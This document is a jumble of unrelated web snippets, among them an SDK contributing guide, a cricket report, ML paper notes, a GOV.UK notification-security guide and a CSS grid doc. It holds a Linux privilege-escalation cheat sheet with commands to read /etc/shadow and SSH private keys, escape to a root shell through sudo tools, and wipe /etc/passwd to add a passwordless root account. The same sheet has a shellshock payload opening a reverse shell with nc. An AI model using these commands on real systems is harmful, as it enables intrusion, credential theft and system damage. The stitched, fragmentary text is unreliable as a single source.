We have adopted the Contributor Covenant as our Code of Conduct, and we expect project participants to adhere to it. Please read the full text so that you can understand what actions will and will not be tolerated.
Our Pledge
In the interest of fostering an open and welcoming environment, we as contributors and maintainers pledge to making participation in our project and our community a harassment-free experience for everyone, regardless of age, body size, disability, ethnicity, gender identity and expression, level of experience, nationality, personal appearance, race, religion, or sexual identity and orientation.
Our Standards
Examples of behavior that contributes to creating a positive environment include:
- Using welcoming and inclusive language
- Being respectful of differing viewpoints and experiences
- Gracefully accepting constructive criticism
- Focusing on what is best for the community
- Showing empathy towards other community members
Examples of unacceptable behavior by participants include:
- The use of sexualized language or imagery and unwelcome sexual attention or advances
- Trolling, insulting/derogatory comments, and personal or political attacks
- Public or private harassment
- Publishing others’ private information, such as a physical or electronic address, without explicit permission
- Other conduct which could reasonably be considered inappropriate in a professional setting
Our Responsibilities
Project maintainers are responsible for clarifying the standards of acceptable behavior and are expected to take appropriate and fair corrective action in response to any instances of unacceptable behavior.
Project maintainers have the right and responsibility to remove, edit, or reject comments, commits, code, wiki edits, issues, and other contributions that are not aligned to this Code of Conduct, or to ban temporarily or permanently any contributor for other behaviors that they deem inappropriate, threatening, offensive, or harmful.
Scope
This Code of Conduct applies both within project spaces and in public spaces when an individual is representing the project or its community. Examples of representing a project or community include using an official project e-mail address, posting via an official social media account, or acting as an appointed representative at an online or offline event. Representation of a project may be further defined and clarified by project maintainers.
Enforcement
Instances of abusive, harassing, or otherwise unacceptable behavior may be reported by contacting the project team at<EMAIL_ADDRESS>All complaints will be reviewed and investigated and will result in a response that is deemed necessary and appropriate to the circumstances. The project team is obligated to maintain confidentiality with regard to the reporter of an incident. Further details of specific enforcement policies may be posted separately.
Project maintainers who do not follow or enforce the Code of Conduct in good faith may face temporary or permanent repercussions as determined by other members of the project’s leadership.
Open Development
All work on our SDK happens directly on Github. Core team members and external contributors send pull requests which go through the same review process.
Semantic Versioning
Our SDK follows semantic versioning. Patch versions are reserved for bug fixes, minor versions for new features and major version for any breaking changes.
Branch Organisation
Please submit all changes directly to the master branch. We do our best to keep master in good shape, with all tests passing. Master could potentially have breaking changes to your application if we’re working on the next major release.
Workflow and Pull Requests
For non-trivial changes, please open an issue with a proposal for a new feature or refactoring before starting on the work. We don’t want you to waste your efforts on a pull request that we won’t want to accept. The core team will be monitoring for all pull requests. We require that tests to be included with your pull requests if you’ve added code that should be tested. Two approvers are needed before code can be merged.
Development
To start working on the SDK, fork, then clone the repo:
git clone https://www.github.com/<your_username>/digime-sdk-ios.git
Installation
Cocoapods
Add
DigiMeSDK
folder to root of your project folder.Add
DigiMeSDK
to yourPodfile
:
use_frameworks!
platform :ios, '13.0'
target 'TargetName' do
pod 'DigiMeSDK', :path => '../'
end
NOTE We do not currently support linking DigiMeSDK as a Static Library.
use_frameworks! flag must be set in the Podfile
- Navigate to the directory of your
Podfile
and run the following command:
$ pod install --repo-update
License
By contributing to our SDK, you agree that your contributions will be licensed under its Apache 2.0 license.


DEP3CHANGELOG(1) DEP3CHANGELOG(1) NAME dep3changelog - generate a changelog entry from a DEP3-style patch header SYNOPSIS dep3changelog patch [patch ...] [options] [-- [dch_options]] DESCRIPTION dep3changelog extracts the DEP3 patch headers from the given patch files and builds a changelog entry for each patch. If the patch author differs from the one detected from the DEBEMAIL, NAME, DEBEMAIL, or EMAIL envi‐ ronment variables, “Thanks to author <email>” is added to the changelog entry for that patch. Any bug-debian or bug-ubuntu fields are added as “Closes” to the changelog entry. The generated changelog entries are passed to debchange as an argument along with the given dch_options. OPTIONS --help, -h Display a help message and exit successfully. --version Display version and copyright information and exit successfully. ENVIRONMENT DEBEMAIL, EMAIL, DEBFULLNAME, NAME See the above description of the use of these environment vari‐ ables. AUTHOR Steve Langasek<EMAIL_ADDRESS>SEE ALSO debchange(1) DEBIAN Debian Utilities DEP3CHANGELOG(1)


Captain Mathias:
If you wish to defeat Anais in the Monastery of Silence, you will first need to walk a dangerous path. Be careful.


Class Curl
cURL session manager
Namespace: LINE\LINEBot\HTTPClient
Package: LINE\LINEBot\HTTPClient
Located at LINEBot/HTTPClient/Curl.php
Package: LINE\LINEBot\HTTPClient
Located at LINEBot/HTTPClient/Curl.php
public
|
|
public
boolean
|
|
public
boolean
|
|
public
array
|
|
public
integer
|
|
public
string
|
|
public
|
#
__destruct( )
Closes a cURL session and frees all resources. The cURL handle, ch, is also deleted. |


Seamer Chahar posts best T20 figures in India's series win
MUMBAI: India seamer Deepak Chahar took a hat-trick and posted the best bowling figures in Twenty20 internationals to guide the hosts to a series clinching 30-run win against Bangladesh in the third and final match at Nagpur on Sunday.
Shreyas Iyer and KL Rahul struck brisk half centuries to help India post 174-5 in their 20 overs after Bangladesh captain Mahmudullah won the toss and chose to bowl.
In reply, Bangladesh lost Liton Das and Soumya Sarkar in successive deliveries to Chahar early to get off to a false start in their chase and were finally all out for 144 to go down 2-1 in the series.
Opener Mohammad Naim, who made his international debut during the series, kept Bangladesh in the hunt with 81 off 48 balls but his dismissal in the 16th over snuffed out the touring side's chances.
Naim added 98 for the third wicket with Mohammad Mithun, who made 27, before the latter became Chahar's third wicket of the evening.
Chahar then dismissed Shafiul Islam on the last delivery of his third over and returned in his final one to send back Mustafizur Rahman and Aminul Islam to complete his hat-trick and finish with figures of six wickets for seven runs off 3.2 overs.
His figures broke Sri Lanka spinner Ajantha Mendis' mark of 6-8 against Zimbabwe in 2012 as the best bowling figures in the shortest format of the game.
India all-rounder Shivam Dube picked up 3-40, including the prized scalps of Naim and experienced Mushfiqur Rahim.
India's stand-in skipper Rohit Sharma, leading the side in the absence of rested Virat Kohli, fell for just two while his opening partner Shikhar Dhawan also did not last long and was out for 19.
Bangladesh medium paceman Shafiul accounted for both the experienced openers and could have also dismissed Iyer for nought if Aminul had managed to hold on to a simple catch.
India have struggled to identify their number four batsman in limited-overs cricket in the last 12 months but Iyer showed he could be the solution to their middle order woes.
He hit five sixes and three fours and stitched together a 59-run stand with Rahul.
Iyer's stroke-filled knock ended when he holed out to Sarkar, who had minutes earlier dismissed out-of-form Rishabh Pant for six in the same over.
The two sides will next play a two-test series, with the first starting at Indore from Thursday.
(Reporting by Sudipto Ganguly; editing by Pritha Sarkar)


External Repository URL URL is required Please enter URL in format e.g. "https://github.com/:owner/:activator"


Worthwhile Practical Papers
Interesting papers for folks engaged in building production ML systems primarily for user-facing use cases. This covers things like computational advertising, click estimation, search ranking, bandit-based user experience optimization, recommender systems and other related things.
Ad Click Prediction: a View from the Trenches [link]
A well-known paper from a large group a Google sharing details on Google’s sponsored search system. I like this paper because it naturally mixes lots of practical lessons about using ML in production with a notable theory contribution (FTRL). It’s a bit dated now I suppose but definitely worth a read at least in part because it is also (to my knowledge) D Sculley’s opening salvo in his series of articles about using ML in production.
Machine Learning: The High Interest Credit Card of Technical Debt [link]
Another excellent paper from Google (including D Sculley) with a very practical bent. This NIPS 2014 paper covers a few of the arguably most important ways in which you can shoot yourself in the foot putting machine learning in production.
An efficient bandit algorithm for realtime multivariate optimization [link]
KDD ‘17 paper from Amazon with a very impressive result in a production e-commerce system. If you’ve worked on these kinds of problems before the 21% improvement they claim is almost too good to be true. From a product perspective this paper is about laying out a small widget or portion of a page. Typically these kinds of things are handled solely by product managers who come up with few variations which are then tested in a standard controlled experiment. This is sub-optimal because you often can’t test every possible combination and so intuition rules what ultimately gets tested.
After only a single week of online optimization, we saw a 21% conversion increase compared to the median layout. Our technique is currently being deployed to optimize content across several locations at Amazon.com
Amazon Search: The Joy of Ranking Products [video]
A short but interesting read for anyone working on e-commerce product ranking. There is nothing particularly groundbreaking here but a few details stand out for practitioners:
- They rank using lambdamart models trained in part on click feedback
- They randomly sample things never rendered as part of the negative class
- They train >100 models corresponding to (site, category) pairs (eg amazon_japan, electronics)
- Model complexity somewhat modest at ~200 trees per model
- Their target is a mixture of clicks, cart adds and purchases
- They use custom feature evaluation code written by Sorokina (github:dariasor/TreeExtra)
Field-aware Factorization Machines in a Real-world Online Advertising System [link]
Criteo team discusses challenges encountered when they tried to take a Kaggle-winning CTR estimation model (based on Field Aware Factorization Machines) into “real” production to replace a status quo logistic regression-based model. Unsurprisingly there were challenges. In particular, while offline evaluation results appeared better than the status quo, the FFM models took substantially longer to train. From there they go on to describe distributed training of FFMs.
Practical Lessons from Predicting Clicks on Ads at Facebook [link]
Facebook paper covering some similar ground to the Trenches paper listed above. Interesting details here on leaf indexes from decision trees as features in a linear classifier, per-coordinate learning rates and some nice infrastructure details about Facebooks “Online Data Joiner” where they join ad view information with a click/no_click target to allow for online learning.
We treat each individual tree as a categorical feature that takes as value the index of the leaf an instance ends up falling in. We use 1- of-K coding of this type of features.


COMP 335 – Communicating Computer Science (2021/22)
This is an archived version of this module from the academic year 2021-22.
Click here for the current iteration.
Communicating Computer Science (COMP 335) is a third-year undergraduate module on computer science pedagogy that can serve as an entry route into a computer science teacher track. Students get a hands-on introduction to teaching through designing and delivering a computer science lesson to key stage 3 students.
Quick links
Teaching Evaluation
Below are the results of the University’s end-of-module survey.
Timetabled sessions
For an overview of the module, please check the syllabus on Canvas.
We plan to have face-to-face lectures starting in the week of Sept 27. Our regular lecture slot is
- Thursday 15:00 – 16:00 in ELEC 201 [E1]
for the first 5 weeks of the term. We also have two extra slots booked
- Nov 18 and Dec 16, 15:00 – 17:00 in ELEC 205 [E5]
for discussing your lesson plans.
If you are registered for the module, you should see this reflected in your timetable.
Lectures
The module will consist of the following units (covering a week each):
- Unit 0 – Administrativa
- Unit 1 – National Curriculum in Computing
- Unit 2 – Motivation & Learning Theory
- Unit 3 – Lesson Planning
- Unit 4 – Empirical Science & Statistics
Assessment
The final grade for the module is the weighted average of the following continuous-assessment tasks:
- Essay (20%)
- Lesson plan (50%)
- Lesson delivery (15%)
- Reflective report (15%)


Sales Engineer/Full Stack Web Developer leveraging over a decade of experience in solution based selling, Account & Project Management. I earned a certificate in Full Stack Web Development from the University of North Carolina Charlotte Coding Boot Camp over the course of 12 weeks. I am an innovative problem-solver who is passionate about developing technology with a focus on solving real world issues with simple innovative solutions in a team environment. Strengths in problem solving, communication, creativity, teamwork, and project management.


State of The Day: Eat = 0 | Work = 0 | Play = 0
Days Left: 10
Rules: You can only press sleep, after 'Eat', 'Work', and 'Play'
Score Board: CPU = 999 | Player = 999 | draw = 999
CPU Scissors = 999
CPU Paper = 999
CPU Rock = 999
Player Scissors = 999
Player Paper = 999
Player Rock = 999
vs
Mood:
Saying:


New Zealand volcano eruption: One dead, more fatalities feared
Around 10,000 people visit the volcano every year. It has erupted frequently over the last half-century, most recently in 2016.
New Zealand police said at least one person was killed and more fatalities were likely, after an island volcano popular with tourists erupted Monday, leaving dozens stranded.
"I can confirm there is one fatality," said deputy commissioner John Tims. "There is a number still remaining on the island who are currently unaccounted for," he added, "at this stage, it is too dangerous for police and rescue services to go to the island."
Prime Minister Jacinda Ardern confirmed some of those caught up in the disaster were foreigners. "We know that there were a number of tourists on or around the island at the time, both New Zealanders and visitors from overseas."
White Island is New Zealand's most active volcano cone and about 70 per cent of it is underwater, according to government agency GeoNet.
Around 10,000 people visit the volcano every year. It has erupted frequently over the last half-century, most recently in 2016.
In August of that year, the New Zealand Defence Force airlifted a 2.4-tonne shipping container onto the island to serve as an emergency shelter in case of an eruption.


Shell upgrade
python
python -c 'import pty;pty.spawn("/bin/bash")'
export TERM=linux
perl
perl -e 'exec "/bin/bash";'
export TERM=linux
Enumeration
List users
cat /etc/passwd | cut -d: -f1
List root users
grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}'
awk -F: '($3 == "0") {print}' /etc/passwd
List sudoers
cat /etc/sudoers
List allowed sudo commands for current user
sudo -l
Sensitive files and locations
cat /etc/passwd
cat /etc/group
cat /etc/shadow
ls -alh /var/mail/
ls -ahlR /root/
ls -ahlR /home/
cat /var/apache2/config.inc
cat /var/lib/mysql/mysql/user.MYD
cat /root/anaconda-ks.cfg
cat ~/.bash_history
cat ~/.nano_history
cat ~/.atftp_history
cat ~/.mysql_history
cat ~/.php_history
cat ~/.bashrc
cat ~/.profile
cat /var/mail/root
cat /var/spool/mail/root
SSH information
cat ~/.ssh/authorized_keys
cat ~/.ssh/identity.pub
cat ~/.ssh/identity
cat ~/.ssh/id_rsa.pub
cat ~/.ssh/id_rsa
cat ~/.ssh/id_dsa.pub
cat ~/.ssh/id_dsa
cat /etc/ssh/ssh_config
cat /etc/ssh/sshd_config
cat /etc/ssh/ssh_host_dsa_key.pub
cat /etc/ssh/ssh_host_dsa_key
cat /etc/ssh/ssh_host_rsa_key.pub
cat /etc/ssh/ssh_host_rsa_key
cat /etc/ssh/ssh_host_key.pub
cat /etc/ssh/ssh_host_key
Check file type
file file
Print printable strings from elf binary
strings file
SUID priv escalation
Target is to set SUID bit on some sensitive program
-rwsrwxrwx 1 root root 1109604 May 17 00:18 bash
for example by running this command with root privileges
(there are exploits which allows running commands as root)
chown root:root bash && chmod 4777 bash
Search for SUID executables
find /usr/bin -user root -perm -4000 -exec ls -ld {} \; >/tmp/setuid
Switch user
different user can be sudoer
su - <user>
Get root shell with sudo
nmap
sudo nmap --interactive
!sh
find
sudo find /etc -exec sh -i \;
vi
sudo vi
:shell
less
sudo less file.txt
!bash
more(read file longer than 1 page)
sudo more file.txt
!bash
programming languages
sudo python -c 'import pty; pty.spawn("/bin/sh")'
sudo perl -e 'exec "/bin/sh";'
sudo ruby -e 'exec "/bin/sh"'
Adding root to /etc/passwd file without passwd
echo root::0:0:root:/root:/bin/bash > /etc/passwd
Escape rshell
$ vi or vim
:set shell=/bin/bash
:shell
or
:! /bin/bash
awk 'BEGIN {system("/bin/bash")}'
find / -name blahblah 'exec /bin/awk 'BEGIN {system("/bin/sh")}' \;
$ more or less
'! /bin/sh'
'!/bin/sh'
'!bash'
python: exit_code = os.system('/bin/sh') output = os.popen('/bin/sh').read()
perl -e 'exec "/bin/sh";'
Escape with shellshock
() { :;}; /bin/bash -c nc -nv <IP_ADDRESS> 80 -e /bin/bash
env x='() { :;}; echo vulnerable' /bin/bash -c ls


We're sorry but this website does not work properly without JavaScript enabled. Please enable it to continue.
Loading script files...


RabbitMQ nodejs integration at Tadaweb
@antoineg
AMQP 0-9-1
- Advanced Message Queuing Protocol
- Allow communication between publishers and consumers
- Programmable Protocol
Concepts
- Publisher
- Consumer
- Exchange
- Routing key
- Queue
- Channel
Default exchange
You always send a message to an exchange.
Used to send a message directly to a queue, without any special routing involved.
Channels
- Used to make all operations
- Messages (aka prefetch) per channel or consumer
- An error in one operation can bork it
Connecting and creating channel
var amqp = require('amqplib');
amqp.connect().then(function(conn) {
conn.createChannel().then(ch => ...);
});
Types of exchanges
- direct
- fanout
- topic
- headers
Tadaweb micro services architecture
Exchanges
- One direct exchange to send events (services.events)
- One fanout exchange per service (userservice.all)
RabbitMQ at Tadaweb
- Communication between web NodeJS services and Core C++ services
- Events to update data in each service
- Worker queues: PDF generation, long requests
Queues
- One queue per service (userservice) binded to the events exchange (services.events) with various routing keys
- One queue per process (userservice_${hostname}_${pid}_${uuid.v4()}) to consume service exchange messages
Custom queues
- Worker queues (pdf.worker)
- Dedicated channel with a custom prefetch count: 1 job at a time
Samples
- userservice bind his queue to services.events with routing key "tadaservice" to listen to events emitted from tadaservice
- pdfservice receive a message on it's service queue and send it to a custom worker queue


Cyrus Hanson
Portfolio
(current)
About
Contact
About Me
I was born and raised in Atlanta, Georgia. I received my Mechanical Engineering degree at Oral Roberts University and worked in product design for 9 years. I am now a software developer, inviting any new opportunities that approach me!


Your Shopping Bag
| Product | Quantity | Price | Total |
|---|---|---|---|
| Off-Shoulder Long Sleeve Dress | $45 | $135 | |
| Put your coupon code if you have one: | |||
| Subtotal: | $135 | ||
| Discount: | $0 (0%) | ||
| Total: | $135 |
Full Credits
| Product | Quantity | Price | Total |
|---|---|---|---|
| Off-Shoulder Long Sleeve Dress | $45 | $135 | |
| Put your coupon code if you have one: | |||
| Subtotal: | $135 | ||
| Discount: | $0 (0%) | ||
| Total: | $135 |


{{info}}
** If the results are far from what you expected, try cropping the image and centering the bird as its focus. This should help with the model’s accuracy.


| knit_meta {knitr} | R Documentation |
As an object is printed, knitr will collect metadata about it (if
available). After knitting is done, all the metadata is accessible via this
function. You can manually add metadata to the knitr session via
knit_meta_add()
.
knit_meta(class = NULL, clean = TRUE) knit_meta_add(meta, label = "")
class |
Optionally return only metadata entries that inherit from the
specified class. The default, |
clean |
Whether to clean the collected metadata. By default, the
metadata stored in knitr is cleaned up once retrieved, because we may
not want the metadata to be passed to the next |
meta |
A metadata object to be added to the session. |
label |
A chunk label to indicate which chunk the metadata belongs to. |
knit_meta()
returns the matched metadata specified by
class
; knit_meta_add()
returns all current metadata.


OpenUrl QTL expression scb- File eQTL chromosome using CrossRef gene mediation drug analysis mapping responses Andersen Kruglyak Figure traits Brady effect identified variation Science strain genes response Genetics data genomic strains set Leonid Rockman Variation Caenorhabditis Web function genetic previously trait S). pleiotropic Elegans." Erik Expression RIAILs evidence single Abstract Elegans FREE Genetic Natural Text contains DNA chemotherapeutics drug-response significant vertical Rockman, Zdraljevic calculated chemotherapeutic drugs linkage role used (p-value (y-axis) Mediation NIL RIAIL colored confidence dotted double-strand hotspot identify length line phenotypic plotted represents results tested variants Matthew Nature Quantitative animal bleomycin center growth lines new overlapping position probes region total (x-axis) DMSO, ECA, Evans Gene Genome-Wide Genomic Joshua Kammenga LOD Riksen Statistical blue cause compared deletion described observed phenotype phenotypes sensitivity shown size Bargmann Basten Daniel Joost Linkage Pleiotropy QTL. Shannon Skrovanek, Snoek Stefan Traits candidate density differences distant estimates explained high-throughput hotspots measured modified nematode optical parent performed scb-, scb-. score significance underlie underlies validate variant (A) (B) Bloom Cancer Complex Cook Download Human Jan Lee Mapping Molecular chemotherapeutics. defined different elegans genes. hours indicated mechanisms panel parental peak percentile provide regions responses. (set ;<;div Biology CB) Cell Cornelia Frank HTA HTA. Open Trait Using William assay associated breaks causes collected data-hide-link-title=""> data-icon-position="" differential dose drugs. figure genome-wide genotypes increasing intervals lines. local location mechanism molecular multiple nematodes number overlap package pleiotropy power relative remaining residual selected studies tab threshold underlying >; <; (CB). (ECA (N) (ns (see (x-axis). *** ***, **, .); Additionally, Arabidopsis Association CB. COPAS Daehan Data Diseases ECA Gutteling, Hannah However, James Kruglyak. Methods) Michael Mostafa National Paaby Phenotypic RIAILs, Regulatory Sarah Traits." Tukey Underlie Yang Zamanian Zhang above. affect allele background bottom, box brood causal compounds concentration constant discovery distribution eLife etoposide etoposide, final fitness generated genome grey grown hotspots. https://doi.org/./eLife.. hypothesized implicated increased interval known likely locations locus loss marker mediate non-significant orange original plots provides puromycin recombinant red represent scores shown, shown. significantly suggest water,


Grid system
The grid system is divided into 20 columns, and there are 3 main grid types as follows:
content - Content type rows and columns have no padding, so they are ideal
for precise positioning or if you want components to be close to each other.
form - Form type rows and columns have a 0.313rem padding all around, so
will give a default separation of components.
table - Table rows and columns also have a 0.313rem padding, and in addition
include some flexbox capabilities and an outline border on all rows and columns.
Naming convention
Breakpoints are numbered 1 to 5, with 1 being the smallest. A breakpoint suffix can be added to any utility class using the format -bp-[breakpoint number]-[direction].
The direction is either under or over
. For example
-bp-1-under or -bp-3-over.
Here is a breakdown of each type of grid available:
Content type rows and columns

This is quite a basic scenario, and here you can see that the row is made up of 4 equal columns, each taking up one quarter of the full 20 column width
Here is the output of the above:
You may have noticed the "respond-bp-2-under" media flags. These are simply saying that these columns are responsive, so when the screen
gets to a small size (based on the amount defeined in _settings.scss), then move this column to the next line and expand to the
full width of the container.
At the small breakpoint or less it would look like this:
Form type rows and columns

In this case we now have some separation between each column. However, if you want more separation just add one of the
col-spacing-* classes to the column. If you prefer, you could wrap the content of each column with a body or panel
container.
Here is the output of the above:
At small breakpoint or less it would look like this when the respond-bp-2-under media flag is applied:
One important aspect to note about the column and form grid types is that you don't need to repeat the use of rows when nesting columns,
and this is also the method of setting varying numbers of columns per row at different screen sizes.
Table type rows and columns

Table rows and columns are a bit different to the other two types. Besides having borders by default, they are designed primarily for displaying content in a tabular format
and implement some flexbox behaviours, so each column will be of equal height based on the tallest column. As with content and form type grids, table grids are responsive
when media flags are applied. But they differ in 2 key areas: Firstly, when nesting table columns you must add a table-row for each nested level. Secondly, if you want to
add spacing between any rows using say row-spacing-* classes, then you will also need to wrap each group of separated rows with a div and add the class
table-group to it.
Here is the output of the above:
At the small breakpoint or less it would look like this when the respond-bp-2-under media flag is applied:
Nesting columns
Take a look at the example below. This shows how to nest columns using either the content type columns or the form type columns.
NOTE:
If you are using table-col or table-col-*
classes, then you need to add a table-row for each nested level.

This markup will display 1 row of 4 columns at a large screen size down to medium, 2 rows of 2 columns at a medium screen
size down to small, and 4 rows of 1 column at the small size or less. You may be thinking that the markup is a bit verbose,
and there are different approaches offered by different frameworks. In fact, there are pros and cons to each method.
One method might be to have helper classes for each screen size and column count that can all be applied to the same
column definition, but if you had 5 screen size steps it could get a bit strange. So in WebUI, we opted for the nesting
approach - it does seem a bit more extensible.
Equal width columns
WebUI supports any number of equal width columns within the maximum of 20 for all grid types. The classes used take the format
[column type]-col-eq-[number of equal columns], for example form-col-eq-9. However, you won't find classes for the number
of columns being 1, 2, 4, 5, 10, or 20, as these are divisors of 20. There is a lot of power and flexibility here as
you are able to mix and match column types as well as equal columns and non-equal columns, allowing you to group and
split columns is any number of ways, and all responsive too.
Just for a bit of fun here's a brick wall...
Here we have 6 equal columns each containing 3 unequal columns, which have been stacked after hitting a medium breakpoint.
The column types have also been mixed - each equal column group uses a content-col and columns within each group use
a form-col, making the separation between groups the same as the separation between each column within a group.
Equal height columns
Table type columns have column height equalisation built in by default, so you don't have to add anything to get equal height columns. However, you might want to
have equal height columns for content and form type columns also. You can easily do that by simply using a table row instead of content-row or form-row. You can,
of course, also add the
height-full class to any content inside columns to make the content fill the column.
Here is an example

Fixed width and variable columns
You can combine fixed width and normal percentage based columns by using a combination of
width-*, width-adjacent-*, and width-respond-* classes on
content-*,
form-*, and
table-* column types.


Additional Information about Doncho Student at Sofia University Born in Burgas Living in Sofia Working at Telerik


CheatSheet
Some references for tools
SSH
-
To use ssh on 443 port, you can add the following in ~/.ssh/config
1: 2: 3: 4: 5: 6: 7: 8: 9: 10:
Host github.com HostName ssh.github.com Port 443 User git PreferredAuthentications publickey Host gitlab.com Hostname altssh.gitlab.com User git Port 443 PreferredAuthentications publickey
-
1:
ssh -i ~/.ssh/mykey user@host
Git
-
Use submoduels to have nested git repositories. ref
1: 2: 3: 4: 5: 6: 7: 8: 9:
git clone --recursive [URL to Git repo] git submodule update --init # if there are nested submodules: git submodule update --init --recursive # pull all changes in the repo including changes in the submodules git pull --recurse-submodules # pull all changes for the submodules git submodule update --remote
-
Create a clean git history ref
1: 2: 3: 4: 5: 6:
git checkout --orphan temp_branch git add -A git commit -am "the first commit" git branch -D master git branch -m master git push -f origin master
-
Or Simply rebase the whole thing
1: 2:
git rebase -i --root git push --force
Paket
Use paket to isntall/restore/update packages. Get started.
to start from scratch if packages cannot be downloaded or installed properly, you can clear cache
1:
|
|
Dotnet CLI
- sometime vs run into build issues, and the cli provides a more consistent experience. To restore, build, test, publish etc. Paket is integrated smoothly, but you might need to run paket install before building the 1st time.
1: 2: 3: 4: |
|
- for a even more controlled build process, use Fake
PowerShell
-
add user path entry and remove duplicates
adapted from this post
console $CurrentPath = [Environment]::GetEnvironmentVariable('Path','User') $TargetPath = $CurrentPath+";path1" $SplittedPath = $TargetPath -split ';' $CleanedPath = $SplittedPath | Sort-Object -Unique $NewPath = $CleanedPath -join ';' [Environment]::SetEnvironmentVariable('Path', $NewPath,'User')
WSL
- add ca cert from windows to wsl's mono
1: 2: |
|
Unix commands
- find files with certain pattern and run cmd on them, e.g. change dos to unix txt format for all .sh .vim and .py files.
1:
|
|
1:
|
|
GPG
- and trust ultimate key
1: 2: 3: |
|
Pass
- copy pass to clipboard under wsl using clip.exe
1:
|
|


§373C‑33 Personnel. The department of labor and industrial relations may establish positions and hire necessary personnel for the purposes of this part in accordance with chapter 76. [L 1983, c 193, pt of §1; am L 2000, c 253, §150; am L 2006, c 300, §12]


06-Jun-2017 | Milku
A rainy day activity, but I'm not impressed.
It's Day 6 of 30 Days Wild. The wind and rain is deterring my humans from venturing into the outdoors to do something wild. Instead they've decided to check their ice creations.
It was another idea from the 365 Outdoor Activities You Have To Try book - activity #69. My little humans had roamed the garden in search of flowers - at the weekend when it was nice weather. Now there’s aren’t many, even I can see that. The big human that does the gardening likes to grow fruit and vegetables rather than flowers. That's my sort of garden...a source of snacks... who cares what it looks like. I only sneak a peak when it's dark anyway.
Even so, the girls found some flowers on the chives and the water cress. There wasn’t a lot of support for them picking flowers off the strawberries. But the fan of strawberries was the flower picker so it’s her loss…and mine I suppose…although I haven’t tasted a strawberry yet.
Anyway, the flowers were carefully placed in ice cube trays and water was poured on top. They had to be covered to stop them floating. We wanted the flowers encased in ice after all. Then they were put into the freezer. And we waited.
Well, they didn't look quite like the ice creations in the book. Maybe they'd have done better by using different shaped moulds or better flowers. But the little humans liked them.
I was given one in a tray…ooh, it’s far too cold…maybe if the summer comes back here in Blackpool I’ll try another.


Quantum Metric
$ 1.2 M
PRE SEED
Software
Liquing Zeng
PH AI services provider Expedock raises
$1.15m pre-seed funding
on DealStreetAsiaTNW Programs
TECH
The startup gender pay gap no one
is paying attention to — equity
Watch all TNW2020 talks on-demand
This sex toy’s security flaw could literally cockblock you for life
PRE SEED
Software
Liquing Zeng
PH AI services provider Expedock raises
$1.15m pre-seed funding
on DealStreetAsiaPRE SEED
Software
Liquing Zeng
PH AI services provider Expedock raises
$1.15m pre-seed funding
on DealStreetAsiaPRE SEED
Software
Liquing Zeng
PH AI services provider Expedock raises
$1.15m pre-seed funding
on DealStreetAsiaPRE SEED
Software
Liquing Zeng
PH AI services provider Expedock raises
$1.15m pre-seed funding
on DealStreetAsia


I can only be dragged using the handle
I can only be dragged using the handle
I can only be dragged using the handle
I can only be dragged using the handle
I can only be dragged using the handle
I can only be dragged using the handle
I can only be dragged using the handle
I can only be dragged using the handle
I can only be dragged using the handle
I can only be dragged using the handle
I can only be dragged using the handle
I can only be dragged using the handle
| Rigo 1 | rigo 2 |


Trump SoHo files an offering plan to sell apartments. The offering plan states that no one within Bayrock, the organization Trump is affiliated with for this project, has a prior felony conviction. However, Bayrock principal Felix Sater has multiple convictions.
Source: Forbes


{% from "components/banner.html" import banner_wrapper %} {% extends "withoutnav_template.html" %} {% block per_page_title %} Information security guidelines {% endblock %} {% block maincolumn_content %}
Use a practical approach to information security, one that balances a user’s need to be kept informed with being kept safe.
Start by writing the message you want to send. Don’t worry about the information security aspect just yet – write the message you want to convey as clearly and directly as possible.
Use our design patterns along with the GOV.UK style guide to help you write clearly and convey the right information at the right time.
Once you have a message which meets user needs, look at it in relation to the risks we outline. Use this to decide if you need to change the message in order to keep the users safe.
There are 3 main risks involved in sending notifications by text message, email or letter:
For some messages, the recipient would be unhappy if someone else accidentally saw the contents, for example, the results of a recent medical test.
This is a privacy issue – in this case the unintended recipient isn’t trying to steal money or identity information.
To address this risk, don’t reveal the important information in the subject line or opening sentence, or ask the user to sign in to see the information in full.
It’s possible for hackers to intercept messages. Text messages, emails and letters can all be intercepted.
It’s also possible for a criminal to gain access to someone’s entire email inbox, phone messages or paper files. Email accounts can be hacked, phones and paper files can be stolen, left lying around or picked out of the rubbish.
In both cases, criminals are looking for information they can use to commit fraud. To address this risk, don’t send payment details, ID numbers or any other information that can be used for fraud.
In this scenario, a hacker sends lots of messages pretending to be from an official government service, hoping to trick someone into revealing information of value.
This is known as a ‘phishing attack’.
To address this risk, don’t send requests for personal information of any kind, unless the request is directly connected with a transaction.
To avoid someone other than the recipient accidentally seeing a message that has sensitive or confidential information, either:
Remember that even the sender ID also reveals information. For example, don’t set your sender name as ‘STI clinic’.
To reduce the risk if messages are intercepted, hacked or stolen, don’t send messages with:
Payment details can be used for fraud straight away. Other information requires a bit more work. For example, an attacker might use one piece of information to get hold of another, eventually gaining enough information to commit fraud. Or a criminal might use information from several old messages to steal someone’s identity.
To reduce the risk from phishing attacks, don’t send requests for personal information of any kind, unless the request is directly connected with a transaction.
It’s OK to send a request for personal information if it’s directly connected with a transaction. For example it's OK to send a notification with a link asking users to reset their password if they've requested it by clicking on a ‘Forgot your password?’ link.
The same rules apply to links:
There are additional rules that apply specifically to links.
If you want to communicate something, write it in the body of the email. This is more user-friendly. If the information is too sensitive to include in the email body, it’s too sensitive to include in an attachment.
If you need to send someone a file, make the file available within your service, then link to it.
Start your message by addressing the user. For example, ‘Hi Alice Smith’, or ‘Dear Bob Jones’. Including this extra piece of information makes phishing more difficult.
There are several technical approaches to preventing phishing. You must use SPF/DKIM, DMARC and TLS.
SPF/DKIM and DMARC make sure your emails get delivered, whilst phishing and spam email gets filtered into junk mail.
TLS makes sure that no-one can intercept your emails.
“Dear Anne Smith, you’ve got a licence appointment tomorrow at 2:15pm at the Licence Office, 1 Chapel Hill, Heswall, Bournemouth BH1 1AA. To cancel your appointment, visit licensing.service.gov.uk/appointment/12345678/cancel. To change your appointment time, sign in to your account.”
This is a good example because:
“Dear Andrew Jones, to add a location photo to your environmental permit application, visit environmentalpermit.service.gov.uk/12345678/add-photo. If you didn’t request this link, please ignore this message.”
This is a good example because:
These guidelines are the minimum requirement. You can take stricter measures for your service if you think it's necessary.
Just make sure you’re balancing your users’ needs to be kept informed and kept safe.


目次に戻る
How to run MultiMona from a USB drive
Windows
Installing MultiMona to run on a USB drive for Windows.
- Insert your USB drive into your PC.
- Run the MultiMona Windows installer. On the screen with the question "Select the installation path:" click on the
"Browse" button and select a directory on your USB drive.
- Run the rest of the installation as normal.
